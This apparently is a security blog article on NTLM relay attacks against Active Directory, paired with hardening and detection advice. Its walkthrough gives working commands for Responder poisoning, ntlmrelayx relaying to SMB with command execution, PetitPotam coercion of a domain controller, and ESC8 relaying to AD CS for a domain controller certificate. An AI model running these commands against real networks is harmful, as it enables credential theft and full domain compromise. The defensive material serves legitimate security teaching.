Listen to this Post
Introduction:
NTLM relay attacks are not a relic of the past but a persistent and evolving threat that remains one of the most straightforward paths to compromising Active Directory environments today. By intercepting and forwarding NTLM authentication sessions, attackers can impersonate users and gain unauthorized access to critical services like SMB, LDAP, and web applications, often without needing to crack a single password. This article deconstructs the modern NTLM relay kill chain, from initial credential capture through advanced techniques targeting Kerberos and Active Directory Certificate Services (AD CS), and provides actionable defenses.
Learning Objectives:
- Understand the fundamental weaknesses in the NTLM authentication protocol that enable relay attacks.
- Learn the step-by-step process of executing common NTLM relay techniques, including SMB relay and authentication coercion.
- Identify and implement the critical hardening measures to detect and mitigate NTLM relay threats in an enterprise environment.
You Should Know:
1. The Insecure Foundation: How NTLM Authentication Works
NTLM (NT LAN Manager) is a challenge-response protocol that authenticates users without sending their password over the network. The client proves it knows the password by encrypting a random challenge from the server using a hash derived from the user’s password. However, a core flaw is the lack of mutual authentication; the client cannot verify it is talking to a legitimate server. This allows an attacker in a man-in-the-middle (MitM) position to pose as a server, capture the authentication attempt, and forward it to a different, legitimate target service. The target service then grants access to the attacker, believing it is the original user.
- Phase 1: Interception – Capturing the Authentication Flow
The first step is to position yourself to capture NTLM authentication attempts. This is often done by poisoning name resolution services, exploiting protocols like LLMNR (Link-Local Multicast Name Resolution) and NetBIOS-NS, which are enabled by default in Windows. When a user mistypes a server name (e.g.,\\fileserve), their system broadcasts an LLMNR query. An attacker running a tool like Responder can answer this query, claiming to be the requested server, and prompt the user’s system to initiate NTLM authentication directly to the attacker.
Step-by-Step Guide:
- On a Linux attacker machine, start Responder to listen on the appropriate network interface and poison LLMNR/NBT-NS requests.
sudo responder -I eth0 -dw
- Wait for a event, such as a user attempting to access a non-existent network share. Responder will impersonate the server and capture the NTLM authentication handshake, displaying the victim’s username, domain, and the NTLM challenge-response hashes.
- These captured hashes can be used for offline cracking or, more powerfully, for immediate relay.
-
Phase 2: Relay & Exploitation – Basic SMB Relay Attacks
Once an authentication is captured, the attacker relays it to a target service. A classic example is relaying to an SMB (Server Message Block) share. If the target server does not enforce SMB signing—a setting that cryptographically protects the session—the attack will succeed. The attacker can then execute commands in the context of the victim user on that target machine.
Step-by-Step Guide:
- Use `ntlmrelayx` from the Impacket toolkit to set up a relay server. Specify a target server (
-t) with SMB signing disabled.python3 ntlmrelayx.py -t smb://10.10.10.25 -smb2support -c "whoami"
- Configure Responder to work in tandem with `ntlmrelayx` by disabling its SMB and HTTP servers (to pass the authentication to the relay tool) using the `-r -P` flags.
-
When a victim’s authentication is intercepted, `ntlmrelayx` relays it to
10.10.10.25. If successful, it executes the `whoami` command on the target and returns the output, confirming the compromised user context. An attacker might replace the command with one to dump credentials from the SAM database. -
Phase 3: Coercion – Forcing High-Value Targets to Authenticate
Waiting for a user to make a mistake is unreliable. Attackers can proactively force high-value targets, like Domain Controllers, to initiate authentication. This is called Authentication Coercion. Techniques like PrinterBug (exploiting the Print Spooler service) and PetitPotam (exploiting the Encrypting File System Remote Protocol) trick a remote host into authenticating to an attacker-controlled machine. This is particularly dangerous when combined with relaying to AD CS servers.
Step-by-Step Guide (PetitPotam Coercion):
- The attacker uses a tool like Coercer or a PetitPotam script to force a Domain Controller (DC) to connect to the attacker’s listener.
python3 petitpotam.py -d "domain.local" -u "standarduser" -p "password" 10.10.10.1 10.10.10.200
This command tells the DC at `10.10.10.1` to authenticate to the attacker’s IP
10.10.10.200. - The attacker runs
ntlmrelayx, configured to relay incoming authentications to the AD CS web enrollment service.python3 ntlmrelayx.py -t http://ca-server.domain.local/certsrv/ -smb2support --adcs --template DomainController
-
The coerced DC machine account authentication is relayed to the Certificate Authority. The attacker receives a certificate for the DC’s machine account, which can be used to request a Kerberos Ticket-Granting Ticket (TGT) and compromise the entire domain.
-
Phase 4: Advanced Targets – Relaying to LDAP & AD CS (ESC8)
Relaying to the Lightweight Directory Access Protocol (LDAP) enables devastating attacks like creating new domain users or modifying group memberships. A critical vulnerability known as ESC8 exists when AD CS runs its web enrollment service without requiring Extended Protection for Authentication (EPA). This allows coerced NTLM authentications to be relayed to the HTTP endpoint, resulting in the issuance of a certificate for the relayed identity, as demonstrated in the coercion step above.
Defensive Step-by-Step: Mitigating AD CS Relay (ESC8)
- Enable Extended Protection for Authentication (EPA): On the AD CS server, open IIS Manager, navigate to the Certificate Authority Web Enrollment site, and set Extended Protection to Required under Windows Authentication.
- Disable NTLM on AD CS Servers: Via Group Policy, navigate to `Computer Configuration -> Windows Settings -> Security Settings -> Local Policies -> Security Options` and set “Network security: Restrict NTLM: Incoming NTLM traffic” to “Deny all”.
3. Restart IIS to apply changes:
iisreset /restart
6. Detection and Mitigation: Building Your Defenses
Detecting NTLM relay requires correlating network and log data. Look for authentication requests where the source workstation name and IP address do not match your asset inventory. In Windows Event Logs (Event ID 4624), a key indicator is a logon with a `Logon Process` of `NtLmSsp` where the `Workstation Name` field contains a machine name that doesn’t resolve to the `Source Network Address` IP.
Core Mitigation Steps:
- Enforce SMB Signing: Enable it domain-wide via Group Policy. This prevents SMB relay attacks.
- Disable NTLM Where Possible: Use Group Policy (
Network security: Restrict NTLM...policies) to audit and then restrict NTLM usage, forcing Kerberos authentication. - Enable LDAP Signing & Channel Binding: Prevent LDAP relay by enforcing these settings on Domain Controllers.
- Segment Networks: Limit lateral movement by segmenting critical servers like Domain Controllers and AD CS from general workstations.
- Leverage Modern OS Features: On Windows Server 2025 and Windows 11 24H2+, you can block NTLM for SMB connections at the client level via Group Policy (
Computer Configuration > Administrative Templates > Network > Lanman Workstation > Block NTLM).
What Undercode Say:
- The Attack Surface is Expanding, Not Shrinking. The discovery of vulnerabilities like CVE-2025-54918, which combines NTLM relay with coercion to bypass LDAP channel binding, proves that this attack vector is still fertile ground for research and exploitation. Defenders who consider it a “solved problem” are at high risk.
- AD CS is the New Crown Jewel. Modern NTLM relay campaigns increasingly target Active Directory Certificate Services. The ability to obtain a forged certificate via techniques like ESC8 provides a stealthy, persistent, and highly privileged foothold that is harder to detect than traditional credential theft. Securing AD CS must be a top priority.
Prediction:
NTLM relay will remain a critical attack vector for the next five years due to pervasive legacy dependencies. However, the focus will shift further toward exploiting cloud-hybrid identity systems and abusing managed service accounts. The release of native NTLM blocking features in Windows will create a defensive tipping point, but mass adoption will be slow. Consequently, a “two-tier” security landscape will emerge: organizations that aggressively phase out NTLM will see a dramatic reduction in these attacks, while those maintaining legacy systems will face increasingly automated and sophisticated relay campaigns, particularly those weaponizing AI to identify optimal coercion targets and relay paths within complex networks. The foundational weaknesses of NTLM ensure it will continue to be a key link in the cyber kill chain for the foreseeable future.
▶️ Related Video (82% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Ahmed Mouflah – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
